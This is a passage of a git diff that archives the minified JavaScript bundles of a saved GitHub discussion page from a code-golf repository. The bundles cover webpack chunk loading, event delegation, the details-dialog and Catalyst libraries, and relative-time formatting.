9fcgMr5CJ44xcp3O6uEhIRf6ceEZqWXbXvFCXR74TJ/X9xhVOV3g==","app_assets_modules_github_insights_insights-query_ts":"sha512-HUmykKCpoMqBGXg4S+Nzyneods7BnBTFdmev9lHrzcNlM4NUFiMBAO6KDU4QInL0IUXdEuZZGUZv9f5jGvJoKQ==","app_assets_modules_github_insights_series-table_ts":"sha512-iMQOln09UQ5kc+1plprNbTA6oySd/N4Pv7pNm5C0x+9SU+O3dy1+amg2vZPGiXwk0wW5jGP5lIRKUFKF4YaNZA==","app_assets_modules_github_presence_presence-avatars_ts":"sha512-aO6oYeK9FLQSsM97Dv6ydNEidC1URILeRiPeecHGx1+eiq9VfY4RRORukAQU2o+ADwNj93pxyLIWh56EX1FBsQ==","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"sha512-A4PhKT/oT4hmMoP9muRqfT0p0BESrLWM2Q055YxXW+1vjz8rHLBLMo0RWDhm5pVMfQ3ONZ3UB/DaGfAAKLMY0g==",app_assets_modules_github_dependencies_ts:"sha512-nt/ORE7b8HDLyl9kFMy/WSAJb5WY7Z7LnOJXxJ3nvpqgFW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const 